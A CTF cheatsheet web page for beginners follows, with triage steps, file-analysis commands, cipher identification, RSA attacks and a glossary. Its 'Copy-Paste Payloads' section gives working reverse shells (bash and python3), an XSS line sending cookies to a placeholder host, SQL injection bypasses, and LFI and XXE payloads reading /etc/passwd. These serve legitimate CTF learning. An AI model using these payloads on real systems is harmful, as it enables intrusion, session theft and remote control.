CTF Cheatsheet

A fast, searchable field guide for Capture-The-Flag competitions: triage any challenge, identify unknown encodings and ciphers, grab copy-paste payloads, pick the right RSA attack, and jump straight to the right tool for every category.

Last reviewed July 2026 · tools verified & refreshed
Filter BrowserAutoRSAROPFuzzingMemoryNetworkWindowsImagesAudioDecompilerDebuggerSymbolicAndroidProxySQLiDiscoveryReconBreachCrackingJWTEsolangSandboxBeginnerPwnCrypto Expand all Collapse all
No matches. Try a different keyword, or clear the filters.

New to CTFs? Start Here

What is a CTF?

A Capture-The-Flag is a friendly hacking competition. You solve puzzles across categories like web, crypto and forensics; each one hides a secret flag — a string such as whatdahack{y0u_g0t_1t}. Find it, submit it, score points. You don't need to be an expert: many challenges are beginner-friendly and you learn by doing.

Stuck? That's normal. Search the challenge topic with the words CTF writeup, read how others approached similar problems, and keep notes. Every solve makes the next one faster.

The universal workflow — repeat for every challenge

  1. Read the prompt. Note the category, any hint, and the flag format. Download every attached file before you start.
  2. Recon & identify. Work out what you're looking at — a file type, an encoding, a running service, or a web technology — before reaching for a tool.
  3. Research the technique. Search the challenge keywords plus CTF writeup. Someone has almost certainly solved something similar.
  4. Pick the right tool. Jump to the matching category below and grab the tool built for that job.
  5. Solve & extract the flag. Apply the decode/attack. The flag is usually text like whatdahack{...}.
  6. Submit & take notes. Paste the flag to score, then jot down what worked so you recognise the pattern next time.

Challenge Triage — What Did You Get?

Match what the challenge handed you on the left, do what's on the right. This is the fastest way to stop staring and start solving.

A file with no/odd extension
Run file, binwalk, strings, exiftool — see First Moves. Magic bytes tell you the real type.
A blob of gibberish text
Match it in Identify the Encoding, then decode in CyberChef.
host port or nc line
It's a live service — nc host port, read the prompt, then script I/O with pwntools. Jump to Pwn or Misc.
A URL / web app
View source, open DevTools, check /robots.txt & .git, fuzz with ffuf, proxy through Burp. See Web.
An .exe / ELF / binary
checksec it, open in Ghidra/IDA. If it validates input, try pwn or symbolic execution with angr.
An image / audio / video
Metadata + stego: AperiSolve, zsteg, steghide, Sonic Visualiser spectrogram.
A .pcap / .pcapng capture
Open in Wireshark, Follow TCP Stream, export objects. See Forensics.
A memory dump / disk image
Volatility 3 for RAM, Autopsy / Sleuth Kit for disks. See Forensics.
Numbers, primes, a public key
Crypto — identify RSA/ECC and match an attack in the RSA picker; reach for SageMath and RsaCtfTool.
Just a name, photo or handle
OSINT — reverse-image search, pivot the username, read metadata. See OSINT.
A hash (32/40/64 hex chars)
Identify it, then look it up on CrackStation or crack with hashcat/john. See Hashes.
Totally stuck
Re-read the prompt for hints, check the flag format, and search the topic + CTF writeup. You're probably in a rabbit hole — step back.

First Moves on Any File

Downloaded a mystery file and don't know where to start? Run these first — one of them often reveals the flag outright. Replace mystery with your filename.

file mystery What kind of file is it really? Ignores the extension.
strings -n 8 mystery Dump readable text — skim it for the flag straight away.
strings mystery | grep -i flag Shortcut: jump directly to a plaintext flag.
exiftool mystery Hidden info in metadata: author, comments, GPS, software.
binwalk mystery Spot files hidden inside the file.
binwalk -e mystery Extract those embedded / appended files.
xxd mystery | head Inspect the first bytes and the magic number.
unzip -l mystery Many formats (docx, apk, jar, pptx) are just ZIP archives.

How to Approach Each Category

Not sure where to begin for a given challenge type? Follow the first few steps for its category, then grab the matching tools further down the page.

Cryptography

You're given ciphertext or keys and must recover the plaintext.

  1. Identify the scheme with the checklist above.
  2. Throw it at CyberChef / dCode first.
  3. For RSA, collect n, e, c and match an attack.
  4. Watch for layered encodings — decode repeatedly until it's text.

Web

Attack a website to reach data or actions you shouldn't have.

  1. View the page source and /robots.txt.
  2. Open DevTools → check Network, Cookies and Storage.
  3. Try SQLi, XSS, IDOR and path traversal.
  4. Fuzz for hidden paths with ffuf / dirsearch.
  5. Intercept and tamper requests with Burp Suite.

Forensics

Dig a flag out of a file, network capture, or disk image.

  1. Run file, strings, exiftool, binwalk.
  2. For .pcap, open in Wireshark and follow TCP streams.
  3. Carve deleted or embedded files with foremost.
  4. Analyse memory dumps with Volatility.

Reverse Engineering

Understand a compiled program to find the secret.

  1. Run file and strings first.
  2. Decompile in Ghidra and read main.
  3. Find the check that validates your input.
  4. Trace the logic, or brute it with angr.
  5. Debug / patch with GDB + pwndbg.

Binary Exploitation (Pwn)

Abuse a memory bug in a running binary for a shell.

  1. Run checksec to see the binary's protections.
  2. Find the bug: overflow, format string, use-after-free.
  3. Craft input with pwntools.
  4. Redirect execution: ret2win, ROP chain, or shellcode.
  5. Pop a shell and cat flag.txt.

Steganography

Data hidden inside images, audio, or other files.

  1. Start with AperiSolve / StegOnline.
  2. Run strings and binwalk on the file.
  3. Inspect the bit planes in Stegsolve.
  4. For audio, view the spectrogram in Sonic Visualiser.
  5. Try steghide / zsteg (crack the passphrase).

OSINT

Find the answer using only public information.

  1. Note every name, handle, image and coordinate.
  2. Reverse-image search with TinEye / Yandex.
  3. Pivot usernames across sites.
  4. Read EXIF for GPS and timestamps.
  5. Cross-check social media, maps and Street View.

Misc

Everything else — scripting, esolangs, and jails.

  1. Read the prompt for the real puzzle.
  2. Identify weird languages with the checklist above.
  3. If it says nc host port, just connect and read.
  4. Automate repetitive input with pwntools / Python.

Essential Commands

A handful of commands you'll reach for constantly. Copy, tweak the placeholders, and go.

nc <host> <port> Connect to a remote challenge service.
grep -rInso "flag{.*}" . Recursively hunt a flag across files.
echo <b64> | base64 -d Decode a Base64 string.
xxd -r -p <<< <hex> Turn a hex string back into raw bytes.
python3 -m http.server 8000 Serve files or catch a callback.
chmod +x ./chall && ./chall Make a downloaded binary runnable.
curl -s <url> Fetch a page or API without a browser.
ssh user@<host> Log into a remote machine.

Copy-Paste Payloads

Battle-tested starting points. Fill in your details below and every payload updates in place — then hover a block and hit Copy. Use only on systems you're allowed to test.

Reverse shell (bash)

Start a listener with nc -lvnp 4444 first. Swap IP/port.

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Reverse shell (python3)

Portable when bash isn't available.

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'

Upgrade to a full TTY

After catching a dumb shell, get job control and arrow keys.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z, then locally:
stty raw -echo; fg
# then:
export TERM=xterm

SQLi auth bypass

Classic login bypass — try in username and password fields.

' OR '1'='1'-- -
admin'-- -
" OR 1=1-- -

XSS probe

Fire an alert to confirm reflection, then escalate to steal cookies.

<img src=x onerror=alert(document.domain)>
<script>fetch('//YOUR-HOST/'+document.cookie)</script>

LFI / path traversal

Read local files; try wrappers and deeper traversal if filtered.

../../../../etc/passwd
php://filter/convert.base64-encode/resource=index.php

SSTI probe

If {{7*7}} renders as 49, it's template injection.

{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>

XXE payload

Send as XML body to leak files via an external entity.

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>

pwntools exploit skeleton

Starting template for a remote/local binary exploit.

from pwn import *
elf = context.binary = ELF('./chall')
# io = process(elf.path)
io = remote('host', 1337)
payload = flat({ 40: p64(elf.sym.win) })
io.sendline(payload)
io.interactive()

checksec + gadgets

First look at any pwn binary: protections, then ROP gadgets.

checksec --file=./chall
ROPgadget --binary ./chall | grep ': pop rdi'
one_gadget ./libc.so.6

Identify the Encoding / Cipher

Got a blob of unknown data? Match its shape against the patterns below, then decode it with CyberChef or dCode.

Base Encodings

Base64
Alphanumeric with + and /, often padded with =.
dGhpc2lzYmFzZTY0Y2lwaGVyCg==
Base32
UPPERCASE letters A–Z and digits 2–7, may end with =.
ORUGS43JONRGC43FGMZGG2LQNBSXE===
Base85 / Ascii85
Gibberish using a wide range of printable ASCII symbols.
<+oueBld\lF(I
      
Base16 (Hex)
Only 0–9 and a–f. Two characters per byte.
746869732069732068657821

ROT / Shift Ciphers

ROT13 / ROT-n
Caesar shift within the 26 letters. Letters only, no symbols changed.
ROT47
Shifts across 94 printable ASCII characters — includes symbols.
E9:D:DC@Ecf4:A96C
Caesar
Every letter shifted by a fixed amount. Try all 25 shifts.
Atbash
Alphabet reversed (A↔Z, B↔Y). Self-inverse.

Classical Ciphers

Vigenère
Polyalphabetic; repeating keyword. Bruteforce if key unknown.
elmltwzbrrikpgmisivptxldpcpxpx   key: leet
Substitution
Each letter mapped to another fixed letter. Solve via frequency analysis.
Transposition
Plaintext letters re-ordered, not substituted (columnar, route, etc.).
A1Z26
Letters as their alphabet index (1–26), often dash/space separated.
3-20-6 = CTF
Rail Fence
Zig-zag transposition across N rows.

Symbol-Based

Morse Code
Dots and dashes (dit-dah), space separated.
.... .. ... .. ... -- --- .-. ... . -.-. --- -.. .
Tap Code
Groups of taps, Polybius-style pairs (1–5).
.... .... .. ... .. .... .... ...
Bacon Cipher
Binary A/B pattern in groups of 5 encoding letters.
BAABAAABBBABAAABAAABABAAAB
Polybius Square
Row/column coordinates into a 5×5 grid.

Unusual Alphabets

DNA Encoding
Uses only A, T, G, C base characters.
GAGTTGAAAATATTGCGGCCGCTGGTAATGAT
Braille Decoder ↗
6-dot patterns; often rendered as ⠿ unicode.
Keyboard Shift
Text shifted by physical QWERTY key positions.
Binary / Decimal
Streams of 0/1 in bytes, or decimal ASCII codes.
01100011 01110100 01100110

Esoteric Languages

Brainfuck
Only + - > < [ ] . , characters.
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>.
JSFuck
JavaScript using only [ ] ( ) ! +.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
Malbolge
Short gibberish string, notoriously hard to write.
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=
      
Whitespace
Program made only of spaces, tabs and newlines (0x20/0x09/0x0A).
Ook!
Brainfuck variant using only Ook., Ook?, Ook!.
Ook. Ook? Ook. Ook. Ook! Ook.
PikaLang
Pokémon-style tokens: pi, pika, ka, pipi.
COW
Bovine-themed Brainfuck variant of moo/MOO tokens.
Piet
Program IS an abstract image; colour blocks are instructions.
Rockstar
Source written to read like power-ballad song lyrics.

Symbol Ciphers (visual)

Pigpen Cipher Decoder ↗
Letters replaced by grid/“pigpen” shapes. Common in puzzles.
Dancing Men Decoder ↗
Stick-figure substitution cipher (Sherlock Holmes).
Futurama Alien Decoder ↗
Alien glyph substitution from Futurama (two versions).
Hylian (Twilight Princess) Decoder ↗
Zelda: Twilight Princess symbolic script.
Hylian (Skyward Sword) Decoder ↗
Zelda: Skyward Sword — maps symbols to English letters.
Hylian (BOTW) Decoder ↗
Zelda: Breath of the Wild symbol script.
Daggers Alphabet Decoder ↗
Fantasy substitution glyphs.
Gravity Falls Decoder ↗
Mix of Caesar, Atbash, A1Z26 & symbol substitution from the show.
Wingdings / Symbols Decoder ↗
Font-based glyph substitution; map back to letters.

RSA — pick your attack

Classic RSA
Given n, e, c — decrypt by factoring n into p·q.
Small e (e=3) / Cube Root
Low exponent + small message where m³ < n → integer cube root of c.
Håstad Broadcast
Same m sent to many recipients with e=3 → CRT then cube root.
Wiener's Attack
Public e is large / private d is small → continued fractions recover d.
Common Modulus
Same n, two coprime exponents e1,e2 → Bézout combine c1,c2.
Chinese Remainder (CRT)
Given p, q, dp, dq, c → reconstruct the private key and decrypt.
Fermat Factoring
p and q are close together → factor n quickly.
Twin-Prime RSA
Moduli n1, n2 from twin primes → their closeness makes factoring easy.
Multi-Prime
n has more than two prime factors → easier to factor.

Cryptography Tools

Forensics Tools

Steganography Tools

Reverse Engineering Tools

Web Tools

Online Practice Platforms

Glossary — Words You'll Hear

New terms come thick and fast in CTFs. Here are the ones worth knowing on day one.

Flag
The secret string that proves you solved a challenge, e.g. whatdahack{...}.
Jeopardy
The common CTF format: pick standalone challenges off a board for points.
Payload
The crafted input or data you send to trigger a bug.
Shell
Command-line access to a machine — the usual goal of pwn/web challenges.
Reverse shell
A shell that connects back to you, slipping past firewalls.
Enumeration
Systematically listing everything about a target: files, ports, parameters.
Fuzzing
Throwing lots of automated inputs to uncover hidden paths or crashes.
Encoding vs Encryption
Encoding (Base64/hex) is reversible with no key; encryption needs a key.
Hash
A one-way fingerprint of data — you crack it by guessing, not decrypting.
Rabbit hole
A tempting dead-end path. If you're stuck for ages, step back and re-read the prompt.
Endianness
Byte order (little / big) that matters when building pwn payloads.
checksec
A quick look at which security protections a binary was compiled with.

Frequently Asked Questions

What is a flag in a CTF?
A secret string hidden in a challenge that proves you solved it. Flags usually look like CTF{example}, flag{...} or whatdahack{...}.
Do I need to be a hacker or programmer to play?
No. Many challenges are beginner-friendly. Programming and security knowledge help, but you can learn as you go.
Are CTFs legal?
Yes. CTFs are legal competitions built for learning in a safe, controlled environment.
Can I play solo or do I need a team?
Both work. Many CTFs allow solo play, but teaming up helps you solve harder challenges and learn faster.
Can I use AI / LLMs to solve challenges?
It depends on the event — always check the rules. Policies vary widely: some competitions ban LLMs outright, some allow AI as a tool but forbid fully-autonomous agents, and some don't restrict it at all. When learning, AI is genuinely useful for triage and renaming decompiled code — but don't trust it on whether something is exploitable; verify everything yourself.
Where do I find writeups?
Check CTFtime for past-challenge writeups, and HackTricks / PayloadsAllTheThings for techniques.
Cheatsheet content adapted from the public CTF Cheatsheet by neerajlovecyber, curated and re-styled for Whatdahack.